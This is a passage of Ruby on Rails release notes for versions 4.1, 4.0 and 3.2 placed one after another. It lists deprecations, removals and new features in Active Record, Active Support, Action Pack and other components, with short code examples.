- Removed deprecated block filter from ActiveRecord::Migrator#migrate.

- Removed deprecated String constructor from ActiveRecord::Migrator.

- Removed deprecated scope use without passing a callable object.

- Removed deprecated transaction_joinable= in favor of begin_transaction with a :joinable option.

- Removed deprecated decrement_open_transactions.

- Removed deprecated increment_open_transactions.

- Removed deprecated PostgreSQLAdapter#outside_transaction? method. You can use #transaction_open? instead.

- Removed deprecated ActiveRecord::Fixtures.find_table_name in favor of ActiveRecord::Fixtures.default_fixture_model_name.

- Removed deprecated columns_for_remove from SchemaStatements.

- Removed deprecated SchemaStatements#distinct.

- Moved deprecated ActiveRecord::TestCase into the Rails test suite. The class is no longer public and is only used for internal Rails tests.

- Removed support for deprecated option :restrict for :dependent in associations.

- Removed support for deprecated :delete_sql, :insert_sql, :finder_sql and :counter_sql options in associations.

- Removed deprecated method type_cast_code from Column.

- Removed deprecated ActiveRecord::Base#connection method. Make sure to access it via the class.

- Removed deprecation warning for auto_explain_threshold_in_seconds.

- Removed deprecated :distinct option from Relation#count.

- Removed deprecated methods partial_updates, partial_updates? and partial_updates=.

- Removed deprecated method scoped.

- Removed deprecated method default_scopes?.

- Remove implicit join references that were deprecated in 4.0.

- Removed activerecord-deprecated_finders as a dependency. Please see the gem README for more info.

- Removed usage of implicit_readonly. Please use readonly method explicitly to mark records as readonly. (Pull Request)

6.2 Deprecations

- Deprecated quoted_locking_column method, which isn't used anywhere.

- Deprecated ConnectionAdapters::SchemaStatements#distinct, as it is no longer used by internals. (Pull Request)

- Deprecated rake db:test:* tasks as the test database is now automatically maintained. See railties release notes. (Pull Request)

- Deprecate unused ActiveRecord::Base.symbolized_base_class and ActiveRecord::Base.symbolized_sti_name without replacement. Commit

6.3 Notable changes

- Default scopes are no longer overridden by chained conditions.

Before this change when you defined a default_scope in a model it was overridden by chained conditions in the same field. Now it is merged like any other scope. More Details.

- Added ActiveRecord::Base.to_param for convenient "pretty" URLs derived from a model's attribute or method. (Pull Request)

- Added ActiveRecord::Base.no_touching, which allows ignoring touch on models. (Pull Request)

- Unify boolean type casting for MysqlAdapter and Mysql2Adapter. type_cast will return 1 for true and 0 for false. (Pull Request)

- .unscope now removes conditions specified in default_scope. (Commit)

- Added ActiveRecord::QueryMethods#rewhere which will overwrite an existing, named where condition. (Commit)

- Extended ActiveRecord::Base#cache_key to take an optional list of timestamp attributes of which the highest will be used. (Commit)

- Added ActiveRecord::Base#enum for declaring enum attributes where the values map to integers in the database, but can be queried by name. (Commit)

- Type cast json values on write, so that the value is consistent with reading from the database. (Pull Request)

- Type cast hstore values on write, so that the value is consistent with reading from the database. (Commit)

- Make next_migration_number accessible for third party generators. (Pull Request)

- Calling update_attributes will now throw an ArgumentError whenever it gets a nil argument. More specifically, it will throw an error if the argument that it gets passed does not respond to to stringify_keys. (Pull Request)

- CollectionAssociation#first/#last (e.g. has_many) use a LIMITed query to fetch results rather than loading the entire collection. (Pull Request)

- inspect on Active Record model classes does not initiate a new connection. This means that calling inspect, when the database is missing, will no longer raise an exception. (Pull Request)

- Removed column restrictions for count, let the database raise if the SQL is invalid. (Pull Request)

- Rails now automatically detects inverse associations. If you do not set the :inverse_of option on the association, then Active Record will guess the inverse association based on heuristics. (Pull Request)

- Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, ActiveRecord will now translate aliased attribute names to the actual column name used in the database. (Pull Request)

- The ERB in fixture files is no longer evaluated in the context of the main object. Helper methods used by multiple fixtures should be defined on modules included in ActiveRecord::FixtureSet.context_class. (Pull Request)

- Don't create or drop the test database if RAILS_ENV is specified explicitly. (Pull Request)

- Relation no longer has mutator methods like #map! and #delete_if. Convert to an Array by calling #to_a before using these methods. (Pull Request)

- find_in_batches, find_each, Result#each and Enumerable#index_by now return an Enumerator that can calculate its size. (Pull Request)

- scope, enum and Associations now raise on "dangerous" name conflicts. (Pull Request, Pull Request)

- second through fifth methods act like the first finder. (Pull Request)

- Make touch fire the after_commit and after_rollback callbacks. (Pull Request)

- Enable partial indexes for sqlite >= 3.8.0. (Pull Request)

- Make change_column_null revertible. (Commit)

- Added a flag to disable schema dump after migration. This is set to false by default in the production environment for new applications. (Pull Request)

7 Active Model

Please refer to the Changelog for detailed changes.

7.1 Deprecations

- Deprecate Validator#setup. This should be done manually now in the validator's constructor. (Commit)

7.2 Notable changes

- Added new API methods reset_changes and changes_applied to ActiveModel::Dirty that control changes state.

- Ability to specify multiple contexts when defining a validation. (Pull Request)

- attribute_changed? now accepts a hash to check if the attribute was changed :from and/or :to a given value. (Pull Request)

8 Active Support

Please refer to the Changelog for detailed changes.

8.1 Removals

- Removed MultiJSON dependency. As a result, ActiveSupport::JSON.decode no longer accepts an options hash for MultiJSON. (Pull Request / More Details)

- Removed support for the encode_json hook used for encoding custom objects into JSON. This feature has been extracted into the activesupport-json_encoder gem. (Related Pull Request / More Details)

- Removed deprecated ActiveSupport::JSON::Variable with no replacement.

- Removed deprecated String#encoding_aware? core extensions (core_ext/string/encoding).

- Removed deprecated Module#local_constant_names in favor of Module#local_constants.

- Removed deprecated DateTime.local_offset in favor of DateTime.civil_from_format.

- Removed deprecated Logger core extensions (core_ext/logger.rb).

- Removed deprecated Time#time_with_datetime_fallback, Time#utc_time and Time#local_time in favor of Time#utc and Time#local.

- Removed deprecated Hash#diff with no replacement.

- Removed deprecated Date#to_time_in_current_zone in favor of Date#in_time_zone.

- Removed deprecated Proc#bind with no replacement.

- Removed deprecated Array#uniq_by and Array#uniq_by!, use native Array#uniq and Array#uniq! instead.

- Removed deprecated ActiveSupport::BasicObject, use ActiveSupport::ProxyObject instead.

- Removed deprecated BufferedLogger, use ActiveSupport::Logger instead.

- Removed deprecated assert_present and assert_blank methods, use assert object.blank? and assert object.present? instead.

- Remove deprecated #filter method for filter objects, use the corresponding method instead (e.g. #before for a before filter).

- Removed 'cow' => 'kine' irregular inflection from default inflections. (Commit)

8.2 Deprecations

- Deprecated Numeric#{ago,until,since,from_now}, the user is expected to explicitly convert the value into an AS::Duration, i.e. 5.ago => 5.seconds.ago (Pull Request)

- Deprecated the require path active_support/core_ext/object/to_json. Require active_support/core_ext/object/json instead. (Pull Request)

- Deprecated ActiveSupport::JSON::Encoding::CircularReferenceError. This feature has been extracted into the activesupport-json_encoder gem. (Pull Request / More Details)

- Deprecated ActiveSupport.encode_big_decimal_as_string option. This feature has been extracted into the activesupport-json_encoder gem. (Pull Request / More Details)

- Deprecate custom BigDecimal serialization. (Pull Request)

8.3 Notable changes

- ActiveSupport's JSON encoder has been rewritten to take advantage of the JSON gem rather than doing custom encoding in pure-Ruby. (Pull Request / More Details)

- Improved compatibility with the JSON gem. (Pull Request / More Details)

- Added ActiveSupport::Testing::TimeHelpers#travel and #travel_to. These methods change current time to the given time or duration by stubbing Time.now and Date.today.

- Added ActiveSupport::Testing::TimeHelpers#travel_back. This method returns the current time to the original state, by removing the stubs added by travel and travel_to. (Pull Request)

- Added Numeric#in_milliseconds, like 1.hour.in_milliseconds, so we can feed them to JavaScript functions like getTime(). (Commit)

- Added Date#middle_of_day, DateTime#middle_of_day and Time#middle_of_day methods. Also added midday, noon, at_midday, at_noon and at_middle_of_day as aliases. (Pull Request)

- Added Date#all_week/month/quarter/year for generating date ranges. (Pull Request)

- Added Time.zone.yesterday and Time.zone.tomorrow. (Pull Request)

- Added String#remove(pattern) as a short-hand for the common pattern of String#gsub(pattern,''). (Commit)

- Added Hash#compact and Hash#compact! for removing items with nil value from hash. (Pull Request)

- blank? and present? commit to return singletons. (Commit)

- Default the new I18n.enforce_available_locales config to true, meaning I18n will make sure that all locales passed to it must be declared in the available_locales list. (Pull Request)

- Introduce Module#concerning: a natural, low-ceremony way to separate responsibilities within a class. (Commit)

- Added Object#presence_in to simplify value whitelisting. (Commit)

9 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 4.0 Release Notes — Ruby...

1 Upgrading to Rails 4.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Creating a Rails 4.0 application

You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

$ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

$ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Major Features

3.1 Upgrade

- Ruby 1.9.3 (commit) - Ruby 2.0 preferred; 1.9.3+ required

- New deprecation policy - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.

- ActionPack page and action caching (commit) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.

- ActiveRecord observers (commit) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.

- ActiveRecord session store (commit) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.

- ActiveModel mass assignment protection (commit) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.

- ActiveResource (commit) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.

- vendor/plugins removed (commit) - Use a Gemfile to manage installed gems.

3.2 ActionPack

- Strong parameters (commit) - Only allow whitelisted parameters to update model objects (params.permit(:title, :text)).

- Routing concerns (commit) - In the routing DSL, factor out common subroutes (comments from /posts/1/comments and /videos/1/comments).

- ActionController::Live (commit) - Stream JSON with response.stream.

- Declarative ETags (commit) - Add controller-level etag additions that will be part of the action etag computation.

- Russian doll caching (commit) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.

- Turbolinks (commit) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.

- Decouple ActionView from ActionController (commit) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.

- Do not depend on ActiveModel (commit) - ActionPack no longer depends on ActiveModel.

3.3 General

- ActiveModel::Model (commit) - ActiveModel::Model, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for form_for)

- New scope API (commit) - Scopes must always use callables.

- Schema cache dump (commit) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.

- Support for specifying transaction isolation level (commit) - Choose whether repeatable reads or improved performance (less locking) is more important.

- Dalli (commit) - Use Dalli memcache client for the memcache store.

- Notifications start & finish (commit) - Active Support instrumentation reports start and finish notifications to subscribers.

- Thread safe by default (commit) - Rails can run in threaded app servers without additional configuration.

Check that the gems you are using are threadsafe.

- PATCH verb (commit) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.

3.4 Security

- match do not catch all (commit) - In the routing DSL, match requires the HTTP verb or verbs to be specified.

- html entities escaped by default (commit) - Strings rendered in erb are escaped unless wrapped with raw or html_safe is called.

- New security headers (commit) - Rails sends the following headers with every HTTP request: X-Frame-Options (prevents clickjacking by forbidding the browser from embedding the page in a frame), X-XSS-Protection (asks the browser to halt script injection) and X-Content-Type-Options (prevents the browser from opening a jpeg as an exe).

4 Extraction of features to gems

In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your Gemfile to bring the functionality back.

- Hash-based & Dynamic finder methods (GitHub)

- Mass assignment protection in Active Record models (GitHub, Pull Request)

- ActiveRecord::SessionStore (GitHub, Pull Request)

- Active Record Observers (GitHub, Commit)

- Active Resource (GitHub, Pull Request, Blog)

- Action Caching (GitHub, Pull Request)

- Page Caching (GitHub, Pull Request)

- Sprockets (GitHub)

- Performance tests (GitHub, Pull Request)

5 Documentation

- Guides are rewritten in GitHub Flavored Markdown.

- Guides have a responsive design.

6 Railties

Please refer to the Changelog for detailed changes.

6.1 Notable changes

- New test locations test/models, test/helpers, test/controllers, and test/mailers. Corresponding rake tasks added as well. (Pull Request)

- Your app's executables now live in the bin/ directory. Run rake rails:update:bin to get bin/bundle, bin/rails, and bin/rake.

- Threadsafe on by default

- Ability to use a custom builder by passing --builder (or -b) to rails new has been removed. Consider using application templates instead. (Pull Request)

6.2 Deprecations

- config.threadsafe! is deprecated in favor of config.eager_load which provides a more fine grained control on what is eager loaded.

- Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Notable changes

7.2 Deprecations

8 Active Model

Please refer to the Changelog for detailed changes.

8.1 Notable changes

- Add ActiveModel::ForbiddenAttributesProtection, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.

- Added ActiveModel::Model, a mixin to make Ruby objects work with Action Pack out of box.

8.2 Deprecations

9 Active Support

Please refer to the Changelog for detailed changes.

9.1 Notable changes

- Replace deprecated memcache-client gem with dalli in ActiveSupport::Cache::MemCacheStore.

- Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.

- Inflections can now be defined per locale. singularize and pluralize accept locale as an extra argument.

- Object#try will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new Object#try!.

- String#to_date now raises ArgumentError: invalid date instead of NoMethodError: undefined method 'div' for nil:NilClass when given an invalid date. It is now the same as Date.parse, and it accepts more invalid dates than 3.x, such as:

# ActiveSupport 3.x
"asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
"333".to_date # => NoMethodError: undefined method `div' for nil:NilClass

# ActiveSupport 4
"asdf".to_date # => ArgumentError: invalid date
"333".to_date # => Fri, 29 Nov 2013

9.2 Deprecations

- Deprecate ActiveSupport::TestCase#pending method, use skip from MiniTest instead.

- ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.

- ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and #encode_json methods for custom JSON string literals.

- Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).

- BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby standard library.

- Deprecate assert_present and assert_blank in favor of assert object.blank? and assert object.present?

10 Action Pack

Please refer to the Changelog for detailed changes.

10.1 Notable changes

- Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.

10.2 Deprecations

11 Active Record

Please refer to the Changelog for detailed changes.

11.1 Notable changes

- Improve ways to write change migrations, making the old up & down methods no longer necessary.

- The methods drop_table and remove_column are now reversible, as long as the necessary information is given. The method remove_column used to accept multiple column names; instead use remove_columns (which is not revertible). The method change_table is also reversible, as long as its block doesn't call remove, change or change_default

- New method reversible makes it possible to specify code to be run when migrating up or down. See the Guide on Migration

- New method revert will revert a whole migration or the given block. If migrating down, the given migration / block is run normally. See the Guide on Migration

- Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.

- Add Relation#load to explicitly load the record and return self.

- Model.all now returns an ActiveRecord::Relation, rather than an array of records. Use Relation#to_a if you really want an array. In some specific cases, this may cause breakage when upgrading.

- Added ActiveRecord::Migration.check_pending! that raises an error if migrations are pending.

- Added custom coders support for ActiveRecord::Store. Now you can set your custom coder like this:

store :settings, accessors: [ :color, :homepage ], coder: JSON

- mysql and mysql2 connections will set SQL_MODE=STRICT_ALL_TABLES by default to avoid silent data loss. This can be disabled by specifying strict: false in your database.yml.

- Remove IdentityMap.

- Remove automatic execution of EXPLAIN queries. The option active_record.auto_explain_threshold_in_seconds is no longer used and should be removed.

- Adds ActiveRecord::NullRelation and ActiveRecord::Relation#none implementing the null object pattern for the Relation class.

- Added create_join_table migration helper to create HABTM join tables.

- Allows PostgreSQL hstore records to be created.

11.2 Deprecations

- Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.

- All dynamic methods except for find_by_... and find_by_...! are deprecated. Here's how you can rewrite the code:

- find_all_by_... can be rewritten using where(...).

- find_last_by_... can be rewritten using where(...).last.

- scoped_by_... can be rewritten using where(...).

- find_or_initialize_by_... can be rewritten using find_or_initialize_by(...).

- find_or_create_by_... can be rewritten using find_or_create_by(...).

- find_or_create_by_...! can be rewritten using find_or_create_by!(...).

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 3.2 Release Notes — Ruby...

1 Upgrading to Rails 3.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:

1.1 Rails 3.2 requires at least Ruby 1.8.7

Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.

1.2 What to update in your apps

- Update your Gemfile to depend on

- rails = 3.2.0

- sass-rails ~> 3.2.3

- coffee-rails ~> 3.2.1

- uglifier >= 1.0.3

- Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

- There are a couple of new configuration changes you'd want to add in config/environments/development.rb:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5

The mass_assignment_sanitizer config also needs to be added in config/environments/test.rb:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

1.3 What to update in your engines

Replace the code beneath the comment in script/rails with the following content:

ENGINE_ROOT = File.expand_path('../..', __FILE__)
ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)

require 'rails/all'
require 'rails/engine/commands'

2 Creating a Rails 3.2 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

$ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

$ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Major Features

3.1 Faster Development Mode & Routing

Rails 3.2 comes with a development mode that's noticeably faster. Inspired by Active Reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new Journey engine.

3.2 Automatic Query Explains

Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an explain method in ActiveRecord::Relation. For example, you can run something like puts Person.active.limit(5).explain and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.

Queries that take more than half a second to run are automatically explained in the development mode. This threshold, of course, can be changed.

3.3 Tagged Logging

When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

4 Documentation

From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.

5 Railties

- Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting config.reload_classes_only_on_change to false.

- New applications get a flag config.active_record.auto_explain_threshold_in_seconds in the environments configuration files. With a value of 0.5 in development.rb and commented out in production.rb. No mention in test.rb.

- Added config.exceptions_app to set the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to ActionDispatch::PublicExceptions.new(Rails.public_path).

- Added a DebugExceptions middleware which contains features extracted from ShowExceptions middleware.

- Display mounted engines' routes in rake routes.

- Allow to change the loading order of railties with config.railties_order like:

config.railties_order = [Blog::Engine, :main_app, :all]

- Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.

- Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to ActiveSupport::TaggedLogging. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.

- Default options to rails new can be set in ~/.railsrc. You can specify extra command-line arguments to be used every time rails new runs in the .railsrc configuration file in your home directory.

- Add an alias d for destroy. This works for engines too.

- Attributes on scaffold and model generators default to string. This allows the following: rails g scaffold Post title body:text author

- Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,

rails g scaffold Post title:string:index author:uniq price:decimal{7,2}

will create indexes for title and author with the latter being a unique index. Some types such as decimal accept custom options. In the example, price will be a decimal column with precision and scale set to 7 and 2 respectively.

- Turn gem has been removed from default Gemfile.

- Remove old plugin generator rails generate plugin in favor of rails plugin new command.

- Remove old config.paths.app.controller API in favor of config.paths["app/controller"].

5.1 Deprecations

- Rails::Plugin is deprecated and will be removed in Rails 4.0. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.

6 Action Mailer

- Upgraded mail version to 2.4.0.

- Removed the old Action Mailer API which was deprecated since Rails 3.0.

7 Action Pack

7.1 Action Controller

- Make ActiveSupport::Benchmarkable a default module for ActionController::Base, so the #benchmark method is once again available in the controller context like it used to be.

- Added :gzip option to caches_page. The default option can be configured globally using page_cache_compression.

- Rails will now use your default layout (such as "layouts/application") when you specify a layout with :only and :except condition, and those conditions fail.

class CarsController
layout 'single_car', :only => :show
end

Rails will use layouts/single_car when a request comes in :show action, and use layouts/application (or layouts/cars, if exists) when a request comes in for any other actions.

- form_for is changed to use #{action}_#{as} as the css class and id if :as option is provided. Earlier versions used #{as}_#{action}.

- ActionController::ParamsWrapper on Active Record models now only wrap attr_accessible attributes if they were set. If not, only the attributes returned by the class method attribute_names will be wrapped. This fixes the wrapping of nested attributes by adding them to attr_accessible.

- Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.

- ActionDispatch::ShowExceptions is refactored. The controller is responsible for choosing to show exceptions. It's possible to override show_detailed_exceptions? in controllers to specify which requests should provide debugging information on errors.

- Responders now return 204 No Content for API requests without a response body (as in the new scaffold).

- ActionController::TestCase cookies is refactored. Assigning cookies for test cases should now use cookies[]

cookies[:email] = 'user@example.com'
get :index
assert_equal 'user@example.com', cookies[:email]

To clear the cookies, use clear.

cookies.clear
get :index
assert_nil cookies[:email]

We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.

- send_file now guesses the MIME type from the file extension if :type is not provided.

- MIME type entries for PDF, ZIP and other formats were added.

- Allow fresh_when/stale? to take a record instead of an options hash.

- Changed log level of warning for missing CSRF token from :debug to :warn.

- Assets should use the request protocol by default or default to relative if no request is available.

7.1.1 Deprecations

- Deprecated implied layout lookup in controllers whose parent had an explicit layout set:

class ApplicationController
layout "application"
end

class PostsController < ApplicationController
end

In the example above, PostsController will no longer automatically look up for a posts layout. If you need this functionality you could either remove layout "application" from ApplicationController or explicitly set it to nil in PostsController.

- Deprecated ActionController::UnknownAction in favor of AbstractController::ActionNotFound.

- Deprecated ActionController::DoubleRenderError in favor of AbstractController::DoubleRenderError.

- Deprecated method_missing in favor of action_missing for missing actions.

- Deprecated ActionController#rescue_action, ActionController#initialize_template_class and ActionController#assign_shortcuts.

7.2 Action Dispatch

- Add config.action_dispatch.default_charset to configure default charset for ActionDispatch::Response.

- Added ActionDispatch::RequestId middleware that'll make a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.

- The ShowExceptions middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in env["action_dispatch.exception"] and with the PATH_INFO rewritten to the status code.

- Allow rescue responses to be configured through a railtie as in config.action_dispatch.rescue_responses.

7.2.1 Deprecations

- Deprecated the ability to set a default charset at the controller level, use the new config.action_dispatch.default_charset instead.

7.3 Action View

- Add button_tag support to ActionView::Helpers::FormBuilder. This support mimics the default behavior of submit_tag.

<%= form_for @post do |f| %>
<%= f.button %>
<% end %>

- Date helpers accept a new option :use_two_digit_numbers => true, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.

- You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

<%= form_for(@offer, :namespace => 'namespace') do |f| %>
<%= f.label :version, 'Version' %>:
<%= f.text_field :version %>
<% end %>

- Limit the number of options for select_year to 1000. Pass :max_years_allowed option to set your own limit.

- content_tag_for and div_for can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:

@items.each do |item|
content_tag_for(:li, item) do
Title: <%= item.title %>
end
end

You can do this:

content_tag_for(:li, @items) do |item|
Title: <%= item.title %>
end

- Added font_path helper method that computes the path to a font asset in public/fonts.

7.3.1 Deprecations

- Passing formats or handlers to render :template and friends like render :template => "foo.html.erb" is deprecated. Instead, you can provide :handlers and :formats directly as options: render :template => "foo", :formats => [:html, :js], :handlers => :erb.

7.4 Sprockets

- Adds a configuration option config.assets.logger to control Sprockets logging. Set it to false to turn off logging and to nil to default to Rails.logger.

8 Active Record

- Boolean columns with 'on' and 'ON' values are type cast to true.

- When the timestamps method creates the created_at and updated_at columns, it makes them non-nullable by default.

- Implemented ActiveRecord::Relation#explain.

- Implements ActiveRecord::Base.silence_auto_explain which allows the user to selectively disable automatic EXPLAINs within a block.

- Implements automatic EXPLAIN logging for slow queries. A new configuration parameter config.active_record.auto_explain_threshold_in_seconds determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.

- Added ActiveRecord::Base.store for declaring simple single-column key/value stores.

class User < ActiveRecord::Base
store :settings, accessors: [ :color, :homepage ]
end

u = User.new(color: 'black', homepage: '37signals.com')
u.color                          # Accessor stored attribute
u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor

- Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).

rake db:migrate SCOPE=blog

- Migrations copied from engines are now scoped with engine's name, for example 01_create_posts.blog.rb.

- Implemented ActiveRecord::Relation#pluck method that returns an array of column values directly from the underlying table. This also works with serialized attributes.

Client.where(:active => true).pluck(:id)
# SELECT id from clients where active = 1

- Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named MyModel::GeneratedFeatureMethods. It is included into the model class immediately after the generated_attributes_methods module defined in Active Model, so association methods override attribute methods of the same name.

- Add ActiveRecord::Relation#uniq for generating unique queries.

Client.select('DISTINCT name')

..can be written as:

Client.select(:name).uniq

This also allows you to revert the uniqueness in a relation:

Client.select(:name).uniq.uniq(false)

- Support index sort order in SQLite, MySQL and PostgreSQL adapters.

- Allow the :class_name option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.

has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized

- In development mode, db:drop also drops the test database in order to be symmetric with db:create.

- Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.

- Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.

- Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a better approach over the old find_or_create_by dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.

User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")

- Added a with_lock method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to lock!. This makes it possible to write the following:

class Order < ActiveRecord::Base
def cancel!
transaction do
lock!
# ... cancelling logic
end
end
end

as:

class Order < ActiveRecord::Base
def cancel!
with_lock do
# ... cancelling logic
end
end
end

8.1 Deprecations

- Automatic closure of connections in threads is deprecated. For example the following code is deprecated:

Thread.new { Post.find(1) }.join

It should be changed to close the database connection at the end of the thread:

Thread.new {
Post.find(1)
Post.connection.close
}.join

Only people who spawn threads in their application code need to worry about this change.

- The set_table_name, set_inheritance_column, set_sequence_name, set_primary_key, set_locking_column methods are deprecated. Use an assignment method instead. For example, instead of set_table_name, use self.table_name=.

class Project < ActiveRecord::Base
self.table_name = "project"
end

Or define your own self.table_name method:

class Post < ActiveRecord::Base
def self.table_name
"special_" + super
end
end

Post.table_name # => "special_posts"

9 Active Model

- Add ActiveModel::Errors#added? to check if a specific error has been added.

- Add ability to define strict validations with strict => true that always raises exception when fails.

- Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.

9.1 Deprecations

- Deprecated define_attr_method in ActiveModel::AttributeMethods because this only existed to support methods like set_table_name in Active Record, which are themselves being deprecated.

- Deprecated Model.model_name.partial_path in favor of model.to_partial_path.

10 Active Resource

- Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.

11 Active Support

- Added ActiveSupport:TaggedLogging that can wrap any standard Logger class to provide tagging capabilities.

Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))

